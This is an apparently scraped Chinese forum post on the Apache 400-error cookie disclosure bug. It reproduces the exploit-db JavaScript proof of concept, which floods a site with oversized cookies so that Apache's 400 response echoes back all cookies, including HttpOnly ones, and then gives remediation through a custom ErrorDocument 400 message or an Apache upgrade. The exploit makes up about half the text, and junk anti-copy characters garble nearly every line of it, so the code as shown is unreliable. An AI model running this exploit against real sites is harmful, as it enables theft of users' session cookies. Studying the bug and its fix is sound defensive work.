, b! Q5 Y6 d/ S, A1 F用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车: ; Y: G% E+ ?. [$ s! j2 i1 C5 Q- L * ?; C o5 ?2 e* Z, _3 H 1 B) w) _. n# A, ]// http://www.exploit-db.com/exploits/18442/! m- G0 f2 T: K; m- }
function setCookies (good) { ; p& ?$ s% A# z$ ?% Q9 D/ y1 _6 S// Construct string for cookie value 4 U1 u* ?0 R( r' P+ b5 `+ n, {% r! nvar str = ""; * C2 K/ m! z$ `3 v, T' Q9 \for (var i=0; i< 819; i++) {: z/ |6 t" Y/ [! N
str += "x";/ ~7 R; @: c( X2 C ~
}0 Y: v4 Z5 `* Z( u
// Set cookies + J8 A3 X4 f* Y: R7 k( m, vfor (i = 0; i < 10; i++) {6 x6 `! b: v: P0 }; D/ T2 R
// Expire evil cookie ; m) w2 \( b Sif (good) { ) ^, n- ?. H2 n( \8 n+ x, W8 Vvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";* Q# w9 C [" |4 R" M6 ?! G
}2 A' K O1 V, }0 M2 s! Z
// Set evil cookie & c6 B5 |, M0 Gelse { * `6 ^/ y; [4 E* t0 V; Y& \' Jvar cookie = "xss"+i+"="+str+";path=/"; . K7 U4 c3 C. P$ s, z}# W. c; l) @6 @8 c5 X
document.cookie = cookie;! q5 P+ _7 v% M' \9 g
}1 r; _- }6 X1 n9 w2 X. n! v
}" d) K3 a! Q+ o8 z U2 w4 x+ y0 n
function makeRequest() {. w$ w8 l3 Y V! I- `
setCookies();3 s6 }/ C8 s; w" }! G# K
function parseCookies () {* v4 T" V' z: Q: H! B
var cookie_dict = {}; : `: [9 e+ P, o* p2 q" q// Only react on 400 status ) P# |) c6 Y2 d9 A; A8 Fif (xhr.readyState === 4 && xhr.status === 400) {0 W. y" Y* B8 ]7 l9 Y8 w
// Replace newlines and match <pre> content! V, F' a o1 e) R/ p2 z# Z# v
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/); # A$ S9 o1 w; J; J$ s( w- r; Yif (content.length) {; g0 V4 R8 q9 w! \. a
// Remove Cookie: prefix: v1 b% Z D9 e* M) t# U) b
content = content[1].replace("Cookie: ", "");/ v; ]1 I7 b1 h5 b: k. M) \$ q; J+ o
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); ( s% q1 C$ z: u) ?// Add cookies to object# j# R' P* q/ t! x e
for (var i=0; i<cookies.length; i++) {% o9 }: B3 V( |; ]
var s_c = cookies.split('=',2);- D# F5 p0 ^2 c
cookie_dict[s_c[0]] = s_c[1];8 p1 J& s+ b. q9 w
}, d; r( Q1 V3 s3 q8 W! M
}6 R/ u+ W, O2 g* T1 P5 m* `! ^
// Unset malicious cookies % j2 U# _ e2 |; x+ w esetCookies(true);5 w- j7 C+ O$ t4 }* u3 ~9 G2 \! S
alert(JSON.stringify(cookie_dict));. u) x R5 B* t6 D' s3 `
}5 Q7 z5 F5 @# Q1 N* S
} & A+ a! i: s1 b// Make XHR request 4 Y& n- X+ w! [3 Dvar xhr = new XMLHttpRequest();- M& d0 G7 G$ `/ T
xhr.onreadystatechange = parseCookies; v# k+ z; k5 a# q# qxhr.open("GET", "/", true);2 V. @! l1 e* ]+ k$ {
xhr.send(null);1 c: q2 E& k; L1 |4 J- V* J$ v
} ( B* M" L! B8 R# FmakeRequest(); " I6 J j0 p: j6 V! D9 H( i* }0 E; I0 L+ F
你就能看见华丽丽的400错误包含着cookie信息。 ) h" P! U- E" a- N3 Y8 F1 q' J1 i$ x# S) K
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#9 i& d7 F9 |7 _% \
2 e' g' m& I1 H' U修复方案： u6 \- X* V Q1 V, F4 U6 q/ `: S1 @! W$ Y
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下 3 N' }( K9 q7 q: }6 s# t7 d! ~7 O
In the event of a problem or error, Apachecan be configured to do one of four things, / i) Y, ^3 x, W' ^0 G& E R8 l' u
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息 : A9 H1 V# I7 A u! }: |2. output acustomized message输出一段信息' j' s8 U9 p, _7 s
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ' d7 i. N2 R1 |# u, D4 a3 R
4. redirect to an external URL to handle theproblem/error转向一个外部URL: T- ? }5 V n8 X' n/ T: p3 ?8 ]
! i0 @6 v9 ]! h/ Q2 a. Z
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容% A1 G0 ]6 H* t$ i, i
( L) [/ V g. S0 m( M1 Y3 gApache配置：# e% c' g8 r9 ~: W' W R
- u% H- Y0 Q' H7 ~. Z4 G: E# A
ErrorDocument400 " security test" ( G" t7 S) O* y( S5 [ $ V$ }. K7 d7 J T当然，升级apache到最新也可：）。 8 B0 B$ ] _9 x6 C) x % j, U3 x( a" X* o% O参考：http://httpd.apache.org/security/vulnerabilities_22.html . ~( A f3 i9 y. h7 E : t l5 _) g( d% i1 {